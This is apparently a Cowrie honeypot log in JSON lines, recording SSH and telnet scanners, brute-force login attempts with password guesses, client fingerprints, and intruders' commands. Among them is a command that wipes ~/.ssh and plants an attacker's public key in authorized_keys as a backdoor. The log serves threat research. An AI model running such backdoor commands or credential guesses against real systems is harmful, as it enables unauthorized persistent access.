{"eventid":"cowrie.login.success","username":"root","password":"beach","message":"login attempt [root/beach] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:25:58.186629Z","src_ip":"85.198.97.85","session":"9f9e5f6a736d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:25:58.512307Z","src_ip":"85.198.97.85","session":"9f9e5f6a736d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo 'dGVzdA==' | base64 -d 2>/dev/null","message":"CMD: echo 'dGVzdA==' | base64 -d 2>/dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:25:58.515948Z","src_ip":"85.198.97.85","session":"9f9e5f6a736d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","size":4,"shasum":"ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:25:58.653617Z","src_ip":"85.198.97.85","session":"9f9e5f6a736d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:25:58.658933Z","src_ip":"85.198.97.85","session":"9f9e5f6a736d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.218","src_port":55394,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa571d9d7898","protocol":"telnet","message":"New connection: 205.210.31.218:55394 (159.203.135.109:23) [session: aa571d9d7898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:28:23.913466Z"}
{"eventid":"cowrie.session.closed","duration":31.090644359588623,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:28:55.003973Z","src_ip":"205.210.31.218","session":"aa571d9d7898","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":51204,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5d9496dc1d0","protocol":"ssh","message":"New connection: 2.57.121.112:51204 (10.17.0.5:22) [session: c5d9496dc1d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:31:08.941536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:31:08.945703Z","src_ip":"2.57.121.112","session":"c5d9496dc1d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:31:09.042113Z","src_ip":"2.57.121.112","session":"c5d9496dc1d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"02022000","message":"login attempt [admin/02022000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:31:09.504683Z","src_ip":"2.57.121.112","session":"c5d9496dc1d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"02012011","message":"login attempt [admin/02012011] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:31:10.604298Z","src_ip":"2.57.121.112","session":"c5d9496dc1d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"02011997","message":"login attempt [admin/02011997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:31:11.705255Z","src_ip":"2.57.121.112","session":"c5d9496dc1d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"0120","message":"login attempt [admin/0120] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:31:12.804703Z","src_ip":"2.57.121.112","session":"c5d9496dc1d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"01121971","message":"login attempt [admin/01121971] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:31:13.904310Z","src_ip":"2.57.121.112","session":"c5d9496dc1d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:31:15.003809Z","src_ip":"2.57.121.112","session":"c5d9496dc1d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.139","src_port":57030,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0ba3dff8043","protocol":"ssh","message":"New connection: 66.132.172.139:57030 (159.203.135.109:22) [session: b0ba3dff8043]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:33:41.469708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:33:42.440258Z","src_ip":"66.132.172.139","session":"b0ba3dff8043","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"873a5fb5fedc2d4f8638ebde4abc6cfc","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 873a5fb5fedc2d4f8638ebde4abc6cfc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:33:42.443836Z","src_ip":"66.132.172.139","session":"b0ba3dff8043","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.0","message":"Connection lost after 16.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:33:57.483327Z","src_ip":"66.132.172.139","session":"b0ba3dff8043","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.185.132.94","src_port":62478,"dst_ip":"10.17.0.5","dst_port":22,"session":"520681a3f643","protocol":"ssh","message":"New connection: 147.185.132.94:62478 (10.17.0.5:22) [session: 520681a3f643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:34:22.647046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:34:23.651073Z","src_ip":"147.185.132.94","session":"520681a3f643","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:34:24.906576Z","src_ip":"147.185.132.94","session":"520681a3f643","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.7","message":"Connection lost after 9.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:34:32.328689Z","src_ip":"147.185.132.94","session":"520681a3f643","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.141.53.124","src_port":51480,"dst_ip":"10.17.0.5","dst_port":22,"session":"de50ff26dd31","protocol":"ssh","message":"New connection: 209.141.53.124:51480 (10.17.0.5:22) [session: de50ff26dd31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:34:55.233053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:34:55.237756Z","src_ip":"209.141.53.124","session":"de50ff26dd31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:34:55.298691Z","src_ip":"209.141.53.124","session":"de50ff26dd31","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin123!@#$","message":"login attempt [root/admin123!@#$] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:34:55.546560Z","src_ip":"209.141.53.124","session":"de50ff26dd31","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:34:55.706870Z","src_ip":"209.141.53.124","session":"de50ff26dd31","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:34:55.710034Z","src_ip":"209.141.53.124","session":"de50ff26dd31","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:34:55.713653Z","src_ip":"209.141.53.124","session":"de50ff26dd31","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:34:55.788380Z","src_ip":"209.141.53.124","session":"de50ff26dd31","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:34:55.947815Z","src_ip":"209.141.53.124","session":"de50ff26dd31","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:34:55.950674Z","src_ip":"209.141.53.124","session":"de50ff26dd31","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:34:56.024467Z","src_ip":"209.141.53.124","session":"de50ff26dd31","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:34:56.028237Z","src_ip":"209.141.53.124","session":"de50ff26dd31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.141.53.124","src_port":51716,"dst_ip":"10.17.0.5","dst_port":22,"session":"a683220aee9b","protocol":"ssh","message":"New connection: 209.141.53.124:51716 (10.17.0.5:22) [session: a683220aee9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:34:56.084894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:34:56.091616Z","src_ip":"209.141.53.124","session":"a683220aee9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:34:56.158934Z","src_ip":"209.141.53.124","session":"a683220aee9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:34:56.446390Z","src_ip":"209.141.53.124","session":"a683220aee9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:34:57.518437Z","src_ip":"209.141.53.124","session":"a683220aee9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.141.53.124","src_port":52058,"dst_ip":"10.17.0.5","dst_port":22,"session":"de846b1d936c","protocol":"ssh","message":"New connection: 209.141.53.124:52058 (10.17.0.5:22) [session: de846b1d936c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:34:57.576939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:34:57.585209Z","src_ip":"209.141.53.124","session":"de846b1d936c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:34:57.648197Z","src_ip":"209.141.53.124","session":"de846b1d936c","protocol":"ssh"}
